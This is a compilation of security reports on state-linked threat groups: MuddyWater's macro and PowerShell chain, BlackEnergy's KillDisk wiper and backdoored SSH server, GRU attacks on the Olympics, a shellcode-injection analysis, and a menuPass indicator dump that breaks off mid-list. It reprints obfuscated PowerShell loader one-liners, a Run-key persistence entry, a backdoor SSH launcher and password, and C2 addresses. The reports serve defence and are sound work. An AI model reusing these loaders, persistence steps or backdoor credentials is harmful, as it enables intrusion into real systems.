# MuddyWater Expands Operations ## Summary MuddyWater is a relatively new APT that surfaced in 2017. It has focused mainly on governmental targets in Iraq and Saudi Arabia, according to past telemetry. However, the group behind MuddyWater has been known to target other countries in the Middle East, Europe, and the US. We recently noticed a large amount of spear phishing documents that appear to be targeting government bodies, military entities, telcos, and educational institutions in Jordan, Turkey, Azerbaijan, and Pakistan, in addition to the continuous targeting of Iraq and Saudi Arabia. Other victims were also detected in Mali, Austria, Russia, Iran, and Bahrain. These new documents have appeared throughout 2018 and escalated from May onwards. The attacks are still ongoing. The new spear-phishing docs used by MuddyWater rely on social engineering to persuade users to enable macros. The attackers rely on a range of compromised hosts to deliver their attacks. In the advanced stages of this research, we were able not only to observe additional files and tools from the attackers’ arsenal but also some OPSEC mistakes made by the attackers. ## Technical Details ### The Initial Infection Vector The initial infection starts with macro-enabled Office 97-2003 Word files whose macros are usually password-protected to hinder static analysis. Malicious obfuscated VBA code is executed when the macro is first enabled. In some cases, the malicious macro is also executed when the user activates a fake text box. ### The Macro Payload Analysis, Dropped Files, and Registry Keys The macro payload, which is Base64 encoded, does the following: 1. Drops two or three files into the “ProgramData” folder. The dropped files are either in the root of the “ProgramData” folder or in a subdirectory. The file names may vary from one version of the malware to another. - `EventManager.dll` - `EventManager.logs` - `WindowsDefenderService.ini` 2. Adds a registry entry in the current user’s RUN key (HKCU) for later execution when the user next logs in. In some cases, the macro spawns the malicious payload/process instantly without waiting for the next time the user logs in. The registry keys and executables may vary from one version of the malware to another. Name: `WindowsDefenderUpdater` Type: `REG_EXPAND_SZ` Data: `c:\windows\system32\rundll32.exe advpack.dll,LaunchINFSection C:\ProgramData\EventManager.logs,Defender,1` The next time the user logs in, the dropped payload will be executed. The executables have been chosen specifically for bypassing whitelisting solutions since they are all from Microsoft and very likely whitelisted. Regardless of the file extensions, the files dropped by the macro are either INF, SCT, and text files or VBS and text files. ### Case 1: INF, SCT, and Text Files Dropped by the Macro 1. INF is launched via the `advpack.dll LaunchINFSection` function. 2. INF registers the SCT file (scriptlet file) via `scrobj.dll` (Microsoft Scriptlet library). 3. Via WMI (winmgmt), the JavaScript or VBScript code in the SCT file spawns a PowerShell one-liner which finally consumes the text file. ```powershell powershell.exe -exec Bypass -c $s=(get-content C:\\ProgramData\\WindowsDefenderService.ini);$d = @();$v = 0;$c = 0;while($c -ne $s.length){$v=($v*52)+([Int32][char]$s[$c]-40);if((($c+1)%3) -eq 0){while($v -ne 0){$vv=$v%256;if($vv -gt 0){$d+=[char][Int32]$vv}$v=[Int32]($v/256)}}$c+=1;};[array]::Reverse($d);iex([String]::Join(”,$d)); ``` ### Case 2: VBS and Text Files Dropped by the Macro The VBS file decodes itself and calls `mshta.exe`, passing on one line of VBScript code to it, which in turn spawns a PowerShell one-liner which finally consumes the text file (usually Base64-encoded text). ```powershell powershell.exe -w 1 -exec Bypass -nologo -noprofile -c iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((get-content C:\ProgramData\ZIPSDK\ProjectConfManagerNT.ini)))); ``` ### The PowerShell Code When PowerShell is invoked whether via WMI, `wscript.exe`, or `mshta.exe`, it executes a one-liner PowerShell code that reads the encoded text file dropped in ProgramData and then decodes it. The resulting code has multiple layers of obfuscation. The first thing the PowerShell code does is to disable office “Macro Warnings” and “Protected View.” This is to ensure future attacks don’t require user interaction. It also allows macro code to access internal VBA objects for stealthier macro code execution in future attacks. Next, it checks the running processes against a list of hard-coded process names; if any are found, the machine is forcefully rebooted. The names are linked to various tools used by malware researchers. ### CnC Communication A URL is selected at random from a long list of embedded URLs held in an array named `$dragon_middle`. The selected URL is subsequently used for communication with the CnC server. If it can’t send data to the chosen CnC URL, it tries to obtain another random URL from `$middle_dragon`, then sleeps from one to 30 seconds and loops again. ### Victim System Reconnaissance The code then tries to obtain the victim’s public IP via `https://api.ipify.org/`. The public IP is then POSTed along with OS Version, Internal IP, Machine Name, Domain Name, UserName after being encrypted to the previously chosen URL to register a new victim. This allows the attackers to accept or reject victims depending on their IPs, countries, geolocations, target enterprises, etc. ### Supported Commands - `upload` - `screenshot` - `Excel` - `Outlook` - `risk` - `reboot` - `shutdown` - `clean` These commands vary from one version to another. ## Victimology Most victims of MuddyWater were found in Jordan, Turkey, Iraq, Pakistan, Saudi Arabia, Afghanistan, and Azerbaijan. Other victims were also recorded in Russia, Iran, Bahrain, Austria, and Mali. The malicious decoy documents used in the attacks suggest they are geopolitically motivated, targeting sensitive personnel and organizations. ## Attacker Deception and Attribution The deobfuscated PowerShell code used by the MuddyWater group resembles previously seen PowerShell scripts that most likely served as prototypes. Multiple documents used in the attacks also contain embedded paths from their authors’ machines. These paths are embedded by Office under various circumstances, for instance, when somebody adds a binary object (an OLE control, e.g., text box or command button) into a Word document. The paths discovered are: - `C:\Users\leo\AppData\Local\Temp\Word8.0\MSForms.exd` - `C:\Users\poopak\AppData\Local\Temp\Word8.0\MSForms.exd` - `C:\Users\Vendetta\AppData\Local\Temp\Word8.0\MSForms.exd` - `C:\Users\Turk\AppData\Local\Temp\Word8.0\MSForms.exd` Leo, Poopak, Vendetta, and Turk are the usernames of those creating the documents or the templates on which they are based. Turk could point to a person of Turkish origin. Poopak is a Persian girl’s name or might suggest the authors are not entirely happy with “Pak,” which could be short for Pakistan. Leo could be one of the attacker’s names. We also don’t rule out the possibility of false flags, with the attackers using random usernames to confuse researchers. In multiple instances, we have also found Chinese text inside the samples, possibly indicating the reuse of code by the attackers. ## Recommendations for Organizations Effective protection from targeted attacks focuses on advanced detective, preventive, and investigative capabilities via solutions and training, allowing an organization to control any activities on their network or suspicious files on user systems. The best way to prevent attackers from finding and leveraging security holes is to eliminate the holes altogether, including those related to improper system configurations or errors in proprietary applications. Organizations are also recommended to implement the following steps for an enhanced level of protection at their premises: 1. Use PowerShell Constrained Language Mode as it uses `IEX`, `Add-Type`, and `New-Object`. 2. Lock PowerShell Execution Policy, must be set to “AllSigned” via GPO. 3. A whitelisting solution to prevent certain process child-parent execution hierarchies. ## Conclusion The MuddyWater group has carried out a large number of attacks and demonstrated advanced social engineering, in addition to the active development of attacks, infrastructure, and the use of new methods and techniques. The attackers are actively improving their toolkit in an effort to minimize their exposure to security products and services. Kaspersky Lab expects these types of attacks to intensify in the near future. In order to protect your company from malware, Kaspersky Lab researchers recommend implementing the following measures: - Educate generic staff to be able to distinguish malicious behavior like phishing links. - Educate information security staff to have full configuration, investigative, and hunting abilities. - Use a proven corporate-grade security solution in combination with anti-targeted attack solutions capable of detecting attacks by analyzing network anomalies. - Provide security staff with access to the latest threat intelligence data, which will arm them with helpful tools for targeted attack prevention and discovery, such as indicators of compromise and YARA rules. - Make sure enterprise-grade patch management processes are well established and executed. High-profile organizations should have elevated levels of cybersecurity; attacks against them are inevitable and are unlikely to ever cease. ## Indicators of Compromise ### MD5 - 08acd1149b09bf6455c553f512b51085 - a9ec30226c83ba6d7abb8d2011cdae14 - E5683fb480353c0dec333a7573710748 - 159238b473f80272fdcd0a8ddf336a91 - 16ac1a2c1e1c3b49e1a3a48fb71cc74f - 1b086ab28e3d6f73c6605f9ae087ad4a - 23c82e8c028af5c64cbe37314732ec19 - 24e1bd221ba3813ed7b6056136237587 - 2e82e242cb0684b98a8f6f2c0e8a12f3 - 37f7e6e5f073508e1ee552ebea5d200e - 3bb14adb551663fd2328d59f653ba757 - 3c2a0d6d0ecf06f1be9ad411d06f7ba8 - 4c5a5c236c9f4480b3d725f297673fad - 4f873578956d2790101443f24e4bd4d3 - 5466c8a099d1d30096775b1f4357d3cf - 59502e209aedf80e170e653306ca1553 - 5a42a712e3b3cfa1db32d9e3d832f8f1 - 5bd61a94e7698574eaf82ef277316463 - 5de97ae178888f2dd222bb8a66060ac2 - 665947cf7037a6772687b69279753cdf - 7a2ff07283ddc69d9f34cfa0d3c936d4 - 7beb94f602e97785370fec2d059d54a5 - 801f34abbf90ac2b4fb4b6289830cd16 - 864d6321be50f29e7a7a4bfab746245a - 8a36d91ca331f62642dbcafc2ea1b1ab - 9486593e4fb5a4d440093d54a3519187 - 94edf251b5fe7cc19488b5f0c3c3e359 - 9c6648cedeb3f5d9f6d104e638bd0c3d - 9f4044674100a8c28f9ed1b336c337ce - aa1e8d0e1c4d4eb9984124df003ea7f2 - aa564e207926d06b8a59ba50ca2c543d - ab4f947f4649b9ec28d182b02778aa69 - ad92ccf85ec170f340457d33bbb81df5 - b8939fa58fad8aa1ec271f6dae0b7255 - bb476622bcb0c666e12fbe4ccda8bbef - be62fc5b1576e0a8491519e10bab931d ### File Names - `%SystemDrive%\ProgramData\EventManager.dll` - `%SystemDrive%\ProgramData\EventManager.logs` - `%SystemDrive%\ProgramData\WindowsDefenderService.ini` - `%SystemDrive%\ProgramData\Defender.sct` - `%SystemDrive%\ProgramData\DefenderService.inf` - `%SystemDrive%\ProgramData\WindowsDefender.ini` - `%SystemDrive%\ProgramData\ZIPSDK\InstallConfNT.vbs` - `%SystemDrive%\ProgramData\ZIPSDK\ProjectConfManagerNT.ini` - `%SystemDrive%\ProgramData\WindowsDefenderTask.ini` - `%SystemDrive%\ProgramData\WindowsDefenderTask.txt` - `%SystemDrive%\ProgramData\WindowsDefenderTask.xml` - `%SystemDrive%\ProgramData\DefenderNT\ConfigRegister.vbs` - `%SystemDrive%\ProgramData\DefenderNT\SetupConf.ini` - `%SystemDrive%\ProgramData\ASDKiMalwareSDK\ProjectConfSDK.vbs` - `%SystemDrive%\ProgramData\ASDKiMalwareSDK\SetupConfSDK.ini` - `%SystemDrive%\ProgramData\FirefoxSDK\ConfigRegisterSDK.ini` - `%SystemDrive%\ProgramData\FirefoxSDK\ConfigRegisterSDK.vbs` - `%SystemDrive%\ProgramData\OneDrive.dll` - `%SystemDrive%\ProgramData\OneDrive.html` - `%SystemDrive%\ProgramData\OneDrive.ini` - `%SystemDrive%\ProgramData\WindowsNT\WindowsNT.ini` - `%SystemDrive%\ProgramData\WindowsNT\WindowsNT.vbs` - `%SystemDrive%\ProgramData\SYSTEM32SDK\ConfManagerNT.vbs` - `%SystemDrive%\ProgramData\SYSTEM32SDK\ProjectConfManagerNT.ini` - `%windir%\System32\Tasks\Microsoft\WindowsDefenderUpdater` - `%windir%\System32\Tasks\Microsoft\MicrosoftOneDrive` - `%windir%\System32\Tasks\Microsoft\WindowsDifenderUpdate` - `%windir%\System32\Tasks\Microsoft\WindowsSystem32SDK` - `%windir%\System32\Tasks\Microsoft\WindowsDefenderSDK` - `%windir%\System32\Tasks\Microsoft\WindowsMalwareDefenderSDK` - `%windir%\System32\Tasks\Microsoft\WindowsMalwareByteSDK` ### Domains, URLs, and IP Addresses - `http://www.cankayasrc[.]com/style/js/main.php` - `http://ektamservis[.]com/includes/main.php` - `http://gtme[.]ae/font-awesome/css/main.php` - `https://www.adfg[.]ae/wp-includes/widgets/main.php` - `http://adibf[.]ae/wp-includes/js/main.php` - `http://hubinasia[.]com/wp-includes/widgets/main.php` - `https://benangin[.]com/wp-includes/widgets/main.php` - `104.237.233.60` - `104.237.255.212` - `104.237.233.40` - `5.9.0.155`
# BlackEnergy by the SSHBearDoor: Attacks Against Ukrainian News Media and Electric Industry **By Anton Cherepanov** **Posted 3 Jan 2016 - 12:28 AM** **Cybercrime Tags** The cybercriminal group behind BlackEnergy, the malware family that has been around since 2007 and made a comeback in 2014, was also active in 2015. ESET has recently discovered that the BlackEnergy trojan was used as a backdoor to deliver a destructive KillDisk component in attacks against Ukrainian news media companies and the electrical power industry. In this blog, we provide details on the BlackEnergy samples ESET detected in 2015, as well as the KillDisk components used in the attacks. Furthermore, we examine a previously unknown SSH backdoor that was also used as another channel of accessing the infected systems. We continue to monitor the BlackEnergy malware operations for future developments. For any inquiries or to make sample submissions related to the subject, contact us at: [email protected]. ## BlackEnergy Evolution in 2015 Once activated, variants of BlackEnergy Lite allow a malware operator to check specific criteria to assess whether the infected computer truly belongs to the intended target. If that is the case, the dropper of a regular BlackEnergy variant is pushed to the system. The exact mechanism of infection by BlackEnergy is described in our Virus Bulletin presentation and this whitepaper by F-Secure. The BlackEnergy malware stores XML configuration data embedded in the binary of the DLL payload. **Figure 1** – The BlackEnergy configuration example used in 2015 Apart from a list of C&C servers, the BlackEnergy config contains a value called `build_id`. This value is a unique text string used to identify individual infections or infection attempts by the BlackEnergy malware operators. The combinations of letters and numbers used can sometimes reveal information about the campaign and targets. Here is the list of Build ID values that we identified in 2015: - 2015en - khm10 - khelm - 2015telsmi - 2015ts - 2015stb - kiev_o - brd2015 - 11131526kbp - 02260517ee - 03150618aaa - 11131526trk We can speculate that some of them have a special meaning. For example, `2015telsmi` could contain the Russian acronym SMI – Sredstva Massovoj Informacii, `2015en` could mean Energy, and there’s also the obvious “Kiev”. ## KillDisk Component In 2014, some variants of the BlackEnergy trojan contained a plugin designed for the destruction of the infected system, named `dstr`. In 2015, the BlackEnergy group started to use a new destructive BlackEnergy component detected by ESET products as Win32/KillDisk.NBB, Win32/KillDisk.NBC, and Win32/KillDisk.NBD trojan variants. The main purpose of this component is to damage data stored on the computer: it overwrites documents with random data and makes the OS unbootable. The first known case where the KillDisk component of BlackEnergy was used was documented by CERT-UA in November 2015. In that instance, a number of news media companies were attacked at the time of the 2015 Ukrainian local elections. The report claims that a large number of video materials and various documents were destroyed as a result of the attack. It should be noted that the Win32/KillDisk.NBB variant used against media companies is more focused on destroying various types of files and documents. It has a long list of file extensions that it tries to overwrite and delete. The complete list contains more than 4000 file extensions. **Figure 2** – A partial list of file extensions targeted for destruction by KillDisk.NBB The KillDisk component used in attacks against energy companies in Ukraine was slightly different. Our analysis of the samples shows that the main changes made in the newest version are: - It accepts a command line argument to set a specific time delay when the destructive payload should activate. - It deletes Windows Event Logs: Application, Security, Setup, System. - It is less focused on deleting documents. Only 35 file extensions are targeted. **Figure 3** – A list of file extensions targeted for destruction by the new variant of KillDisk component As well as being able to delete system files to make the system unbootable – functionality typical for such destructive trojans – the KillDisk variant detected in the electricity distribution companies also appears to contain some additional functionality specifically intended to sabotage industrial systems. Once activated, this variant of the KillDisk component looks for and terminates two non-standard processes with the following names: - komut.exe - sec_service.exe We didn’t manage to find any information regarding the name of the first process (komut.exe). The second process name may belong to software called ASEM Ubiquity, a software platform that is often used in Industrial Control Systems (ICS), or to ELTIMA Serial to Ethernet Connector. In case the process is found, the malware does not just terminate it, but also overwrites the executable file with random data. ## Backdoored SSH Server In addition to the malware families already mentioned, we have discovered an interesting sample used by the BlackEnergy group. During our investigation of one of the compromised servers, we found an application that, at first glance, appeared to be a legitimate SSH server called Dropbear SSH. In order to run the SSH server, the attackers created a VBS file with the following content: ``` Set WshShell = CreateObject("WScript.Shell") WshShell.CurrentDirectory = "C:\WINDOWS\TEMP\Dropbear\" WshShell.Run "dropbear.exe -r rsa -d dss -a -p 6789", 0, false ``` As is evident here, the SSH server will accept connections on port number 6789. By running SSH on the server in a compromised network, attackers can come back to the network whenever they want. However, for some reason this was not enough for them. After detailed analysis, we discovered that the binary of the SSH server actually contains a backdoor. **Figure 4** – Backdoored authentication function in SSH server As you can see in Figure 4, this version of Dropbear SSH will authenticate the user if the password `passDs5Bu9Te7` was entered. The same situation applies to authentication by key pair – the server contains a pre-defined constant public key and it allows authentication only if a particular private key is used. **Figure 5** – The embedded RSA public key in SSH server ESET security solutions detect this threat as Win32/SSHBearDoor.A trojan. ## Indicators of Compromise (IoC) **IP addresses of BlackEnergy C2-servers:** - 5.149.254.114 - 5.9.32.230 - 31.210.111.154 - 88.198.25.92 - 146.0.74.7 - 188.40.8.72 **XLS document with malicious macro SHA-1:** - AA67CA4FB712374F5301D1D2BAB0AC66107A4DF1 **BlackEnergy Lite dropper SHA-1:** - 4C424D5C8CFEDF8D2164B9F833F7C631F94C5A4C **BlackEnergy Big dropper SHA-1:** - 896FCACFF6310BBE5335677E99E4C3D370F73D96 **BlackEnergy drivers SHA-1:** - 069163E1FB606C6178E23066E0AC7B7F0E18506B - 0B4BE96ADA3B54453BD37130087618EA90168D72 - 1A716BF5532C13FA0DC407D00ACDC4A457FA87CD - 1A86F7EF10849DA7D36CA27D0C9B1D686768E177 - 1CBE4E22B034EE8EA8567E3F8EB9426B30D4AFFE - 20901CC767055F29CA3B676550164A66F85E2A42 - 2C1260FD5CEAEF3B5CB11D702EDC4CDD1610C2ED - 2D805BCA41AA0EB1FC7EC3BD944EFD7DBA686AE1 - 4BC2BBD1809C8B66EECD7C28AC319B948577DE7B - 502BD7662A553397BBDCFA27B585D740A20C49FC - 672F5F332A6303080D807200A7F258C8155C54AF - 84248BC0AC1F2F42A41CFFFA70B21B347DDC70E9 - A427B264C1BD2712D1178912753BAC051A7A2F6C - A9ACA6F541555619159640D3EBC570CDCDCE0A0D - B05E577E002C510E7AB11B996A1CD8FE8FDADA0C - BD87CF5B66E36506F1D6774FD40C2C92A196E278 - BE319672A87D0DD1F055AD1221B6FFD8C226A6E2 - C7E919622D6D8EA2491ED392A0F8457E4483EAE9 - CD07036416B3A344A34F4571CE6A1DF3CBB5783F - D91E6BB091551E773B3933BE5985F91711D6AC3B - E1C2B28E6A35AEADB508C60A9D09AB7B1041AFB8 - E40F0D402FDCBA6DD7467C1366D040B02A44628C - E5A2204F085C07250DA07D71CB4E48769328D7DC **KillDisk-components SHA-1:** - 16F44FAC7E8BC94ECCD7AD9692E6665EF540EEC4 - 8AD6F88C5813C2B4CD7ABAB1D6C056D95D6AC569 - 6D6BA221DA5B1AE1E910BBEAA07BD44AFF26A7C0 - F3E41EB94C4D72A98CD743BBB02D248F510AD925 **VBS/Agent.AD trojan SHA-1:** - 72D0B326410E1D0705281FDE83CB7C33C67BC8CA **Win32/SSHBearDoor.A trojan SHA-1:** - 166D71C63D0EB609C4F77499112965DB7D9A51BB
# UK Exposes Series of Russian Cyber Attacks Against Olympic and Paralympic Games Russia’s military intelligence service, the GRU, conducted cyber reconnaissance against officials and organisations at the 2020 Olympic and Paralympic Games due to take place in Tokyo this summer before they were postponed. The targets included the Games’ organisers, logistics services, and sponsors. The attacks on the 2020 Summer Games are the latest in a campaign of Russian malicious cyber activity against the Olympic and Paralympic Games. The UK is confirming for the first time today the extent of GRU targeting of the 2018 Winter Olympic and Paralympic Games in Pyeongchang, Republic of Korea. The GRU’s cyber unit attempted to disguise itself as North Korean and Chinese hackers when it targeted the opening ceremony of the 2018 Winter Games. It went on to target broadcasters, a ski resort, Olympic officials, and sponsors of the games in 2018. The GRU deployed data-deletion malware against the Winter Games IT systems and targeted devices across the Republic of Korea using VPNFilter. The National Cyber Security Centre (NCSC) assesses that the incident was intended to sabotage the running of the Winter Olympic and Paralympic Games, as the malware was designed to wipe data from and disable computers and networks. Administrators worked to isolate the malware and replace the affected computers, preventing potential disruption. Foreign Secretary Dominic Raab said: "The GRU’s actions against the Olympic and Paralympic Games are cynical and reckless. We condemn them in the strongest possible terms. The UK will continue to work with our allies to call out and counter future malicious cyber attacks." The UK has already acted against the GRU’s destructive cyber unit by working with international partners to impose asset freezes and travel bans against its members through the EU cyber sanctions regime. Today, the US Department of Justice has announced criminal charges against Russian military intelligence officers working for the GRU’s destructive cyber unit – also known by the codenames Sandworm and VoodooBear – for conducting cyber attacks against the 2018 Winter Games and other cyber attacks, including the 2018 spear phishing attacks against the UK’s Defence Science and Technology Laboratory (DSTL). The UK attributed the attacks against DSTL, which followed the Salisbury poisonings, to Russia in 2018. ## Background These cyber attacks were committed by the GRU’s Main Centre for Special Technologies, GTsST, also known by its field post number 74455 and known in open source as: - Sandworm - BlackEnergy Group - Telebots - VoodooBear - Iron Viking - Quedagh - Electrum - Industroyer - G0034 The UK government is today confirming for the first time that the GRU unit known as GTsST or by its field post number 74455 was responsible for: ### GRU Action GTsST actors launched a significant campaign against the Winter Olympic Games, which included the use of Olympic Destroyer malware. This malware targeted the Winter Olympic and Paralympic Games. NCSC assesses that the intent behind the incident was almost certainly sabotage as the malware was designed to wipe data from and disable computers and networks. Disruption to the Winter Olympics could have been greater if it had not been for administrators who worked to isolate the malware and replace affected computers. More broadly, the GTsST actors targeted multiple entities across South Korea (and the world) which were linked with the Winter Olympics. This activity utilised a range of capabilities known to be used by the GTsST, including targeting of officials, sponsors, a ski resort, official service providers, and broadcasters. The UK government has previously publicly exposed that this unit of the GRU was responsible for: - **BlackEnergy, December 2015**: Shut off part of Ukraine’s electricity grid, with 230,000 people losing power for between 1 – 6 hours. - **Industroyer, December 2016**: Shut off part of Ukraine’s electricity grid, also known as CrashOverride. It resulted in a fifth of Kyiv losing power for an hour. It is the first known malware designed specifically to disrupt electricity grids. - **NotPetya, June 2017**: Destructive cyber attack targeting the Ukrainian financial, energy, and government sectors and affecting other European and Russian businesses. - **BadRabbit, October 2017**: Ransomware encrypted hard drives and rendered IT inoperable, causing disruption including to the Kyiv metro, Odessa airport, Russia’s central bank, and two Russian media outlets. - **VPNFILTER, October 2017**: Malware infected thousands of home and small business routers and network devices worldwide, potentially allowing attackers to control infected devices, render them inoperable, and intercept or block network traffic. - **DSTL, April 2018**: The GRU attempted to use its cyber capabilities to gain access to the UK’s Defence and Science Technology Laboratory (DSTL) computer systems. - **FCO, March 2018**: The GRU attempted to compromise the UK Foreign and Commonwealth Office (FCO) computer systems via a spearphishing attack. - **Georgia, 28 October 2019**: The GRU carried out large scale disruptive cyber-attacks against Georgian web hosting providers that resulted in widespread defacement of websites, including sites belonging to the Georgian Government, courts, NGOs, media, and businesses, and also interrupted the service of several national broadcasters. The National Cyber Security Centre has assessed with high confidence that all of these attacks were almost certainly (95%+) carried out by the unit known as the Main Centre for Special Technologies (GTsST), also known as Unit 74455 of the GRU.
# Jumping into Shellcode Malware analysis is exciting because you never know what you will find. In previous diaries, I already explained why it's important to have a look at groups of interesting Windows API calls to detect some behaviors. The classic example is code injection. Usually, it is based on something like this: 1. You allocate some memory 2. You get a shellcode (downloaded, extracted from a specific location like a section, a resource, ...) 3. You copy the shellcode in the newly allocated memory region 4. You create a new thread to execute it. But it's not always like this! Last week, I worked on an incident involving a malicious DLL that I analyzed. The technique used to execute the shellcode was slightly different and therefore interesting to describe it here. The DLL was delivered on the target system with an RTF document. This file contained the shellcode: ``` remnux@remnux:/MalwareZoo/20210318$ rtfdump.py suspicious.rtf 1 Level 1 c= 3 p=00000000 l= 1619 h= 143; 5 b= 0 u= 539 \rtf1 2 Level 2 c= 2 p=00000028 l= 91 h= 8; 2 b= 0 u= 16 \fonttbl 3 Level 3 c= 0 p=00000031 l= 35 h= 3; 2 b= 0 u= 5 \f0 4 Level 3 c= 0 p=00000056 l= 44 h= 5; 2 b= 0 u= 11 \f1 5 Level 2 c= 0 p=00000087 l= 33 h= 0; 4 b= 0 u= 2 \colortbl 6 Level 2 c= 0 p=000000ac l= 32 h= 13; 5 b= 0 u= 5 \*\generator 7 Remainder c= 0 p=00000655 l= 208396 h= 17913; 5 b= 0 u= 182176 Whitespace = 4878 NULL bytes = 838 Left curly braces = 832 Right curly braces = 818 ``` This file is completely valid from an RTF format point of view, will open successfully, and render a fake document. But the attacker appended the shellcode at the end of the file (have a look at stream 7 which has a larger size and a lot of unexpected characters ("u="). Let's try to have a look at the shellcode: ``` remnux@remnux:/MalwareZoo/20210318$ rtfdump.py suspicious.rtf -s 7 | head -20 00000000: 0D 0A 00 6E 07 5D A7 5E 66 D2 97 1F 65 31 FD 7E ...n.].^f...e1.~ 00000010: D9 8E 9A C4 1C FC 73 79 F0 0B DA EA 6E 06 C3 03 ......sy....n... 00000020: 27 7C BD D7 23 84 0B BD 73 0C 0F 8D F9 DF CC E7 '|..#...s....... 00000030: 88 B9 97 06 A2 F9 4D 8C 91 D1 5E 39 A2 F5 9A 7E ......M...^9...~ 00000040: 4C D6 C8 A2 2D 88 D0 C4 16 E6 2B 1C DA 7B DD F7 L...-.....+..{.. 00000050: C4 FB 61 34 A6 BE 8E 2F 9D 7D 96 A8 7E 00 E2 E8 ..a4.../.}..~... 00000060: BB A2 D9 53 1C F3 49 81 77 93 30 16 11 9D 88 93 ...S..I.w.0..... 00000070: D2 6C 9D 56 60 36 66 BA 29 3E 73 45 CE 1A BE E3 .l.V`6f.)>sE.... 00000080: 5A C7 96 63 E0 D7 DF C9 21 2F 56 81 BD 84 6C 2D Z..c....!/V...l- 00000090: CF 4C 4E BE 90 23 47 DC A7 A9 8E A2 C3 A3 2E D1 .LN..#G......... ``` It looks encrypted and a brute force of a single XOR encoding was not successful. Let's see how it works in a debugger. First, the RTF file is opened to get a handle and its size is fetched with `GetFileSize()`. Then, a classic `VirtualAlloc()` is used to allocate a memory space equal to the size of the file. Note the "push 40" which means that the memory will contain executable code (PAGE_EXECUTE_READWRITE): Usually, the shellcode is extracted from the file by reading the exact amount of bytes. The malware jumps to the position of the shellcode start in the file and reads bytes until the EOF. In this case, the complete RTF file is read then copied into the newly allocated memory. This is the interesting part of the code which processes the shellcode: The first line `mov word ptr ss:[ebp-18], 658` defines where the shellcode starts in the memory map. In a loop, all characters are XOR'd with a key that is generated in the function `desktop.70901100`. The next step is to jump to the location of the decoded shellcode: The address where to jump is based on the address of the newly allocated memory (0x2B30000) + the offset (658). Let's have a look at this location (0x2B30658): Sounds good, we have a NOP sled at this location + the string "MZ". Let's execute the unconditional JMP: ``` 02B30665 | E8 00000000 | call 2B3066A | call $0 02B3066A | 5B | pop ebx | ``` Now the shellcode will execute and perform the next stages of the infection... Xavier Mertens (@xme) Senior ISC Handler - Freelance Cyber Security Consultant PGP Key I will be teaching next: Reverse-Engineering Malware: Malware Analysis Tools and Techniques - SANS London June 2022
# Maltego Investigation ## Total Number of Entities - 843 - 1562 ## Ranked by Incoming Links | Rank | Type | Value | Incoming Links | |------|-----------------|----------------|-----------------| | 1 | Launchers | CBricksDoc | 64 | | 2 | Password | admin | 38 | | 3 | Password | keaidestone | 37 | | 4 | IPv4 Address | 202.65.220.64 | 26 | | 5 | Password | menuPass | 24 | | 6 | IPv4 Address | 113.10.246.30 | 22 | | 7 | IPv4 Address | 202.65.222.45 | 21 | | 8 | IPv4 Address | 75.126.95.138 | 19 | | 9 | IPv4 Address | 219.90.112.203 | 18 | | 10 | IPv4 Address | 219.90.112.197 | 18 | ## Ranked by Outgoing Links | Rank | Type | Value | Outgoing Links | |------|-----------------|---------------------------|-----------------| | 1 | Threat Actor | menupass | 118 | | 2 | Threat Actor | admin338 | 21 | | 3 | Domain | www.hq.dsmtp.com | 16 | | 4 | Domain | www.hq.dynssl.com | 15 | | 5 | Domain | js001.3322.org | 15 | | 6 | Domain | www.dnsserver.ns01.us | 14 | | 7 | Threat Actor | th3bug | 14 | | 8 | Domain | www.msnet.freetcp.com | 13 | | 9 | Domain | www.webserver.freetcp.com | 13 | | 10 | Domain | www.msnet.proxydns.com | 12 | ## Ranked by Total Links | Rank | Type | Value | Total Links | |------|-----------------|---------------------------|-------------| | 1 | Threat Actor | menupass | 118 | | 2 | Launchers | CBricksDoc | 64 | | 3 | Password | admin | 38 | | 4 | Password | keaidestone | 37 | | 5 | IPv4 Address | 202.65.220.64 | 26 | | 6 | Password | menuPass | 24 | | 7 | Domain | www.hq.dsmtp.com | 22 | | 8 | IPv4 Address | 113.10.246.30 | 22 | | 9 | Threat Actor | admin338 | 21 | | 10 | Domain | www.hq.dynssl.com | 21 | ## Entities by Type ### Launchers (10) - CBricksDoc - CPiShellPutDoc - CMy20130401Doc - CLightGameDoc - CPIVCDoc - CMy1124Doc - CCrocodileDoc - CStatePattern_GameDoc - CPsThemsDoc - CShellCodeDoc ### Mutexes (148) - )!VoqA.I4 - &@%$?2341 - 888wddidd - KEIVH^#$S - irythdfse - 6-22'rat - %wdwwd322 - #@$DEFew) - sa#2 - #567999wk - DKKK#&FKJ - )!VoqA.I5 - pl,[;.]'/ - [-0;pyo;i - xgwx5ygdf45u7y65hdrttghdPath - 4htgsegvf - ewrfwsifj - 7-05'rat - 9-15'rat - 0*6w4!7a - 2*a42!b8 - a*jr7oa - D#A^KHQde - k0nj20fn9 - d111111w1 - &#@tz931( - DLKWI&#JH - #@$36fdsf - _ldkjls!* - eeee888bf - #&@dke#@* - 8c867sajd - kdkeiks33 - &#JKJD&#A - 1vvb8888d - $#$29321! - HD&*#gD$$ - ^#DFDyu08 ### Passwords (22) - admin - keaidestone - menuPass - admin@338 - suzuki - happyyongzi - th3bug - smallfish - XGstone - key@321 - xiaoxiaohuli - woaiwojia@12 - japanorus - 0xfb453847cb12db0d60ce04795e3059633788f131bfc4da1b - 8f1a3e48d01c76a1 - abc123!@ - Thankss - 1qaz2wsx - key@123 - gwx@123 - fishplay - aDmin - wwwst@Admin ### IDs (149) - tw2012 - js001 - 39985.0 - 114.80.96.8 - japan - fbi.zyns.com - wl5 - winproxy - army.xxuz.com - pansenes.3322.org - 0927Def - xc.chromeenter.com - weile33 - Bak.8.8.Fuck - dedydns.ns01.us - vip - allport - 2.011101E7 - 2.0110611E7 - 2.0080327E7 - Identification - winserver2 - S20101008 - unog20120925 - mbr2012in - 39998.0 - 40070.0 - 40040.0 - F1123 - F100630 - F1204 - F100112 - F100826 - test.yamaha.10dig.net - www.yamaha10.tk - JapanBak - D:2013/05/08 - 2.26Fuck.ip.002 - 7.2 - winserver - yo.acmetoy.com - cvnxus bak - Fchdel-04-22 - kmd.crabdance.com - za.myftp.info1 - xgstonebak.cas.go.jp - baby D:2013/05/01 - D:2013/05/07 - 0923Def - st.astro - 221fuck - Fchdel-05-21 - weile3322b.3322.org - 8.28.Good.Luck - abcd120719.6600.org - cloudns.8800.org - mongoles - 6r.suibian2010.info - zg.ns02.biz - nasa.xxuz.com - jj.mysecondarydns.com - xgstone.3322.org - dawosi - mf.ddns.info - 0409sendmail - za.myftp.info - 227foolish.Japanese.old.man - baby D:2013/05/02 - D:2013/04/15 - 0618.ddns.mobi - killer - microcnmlgb3322.org - wensha - 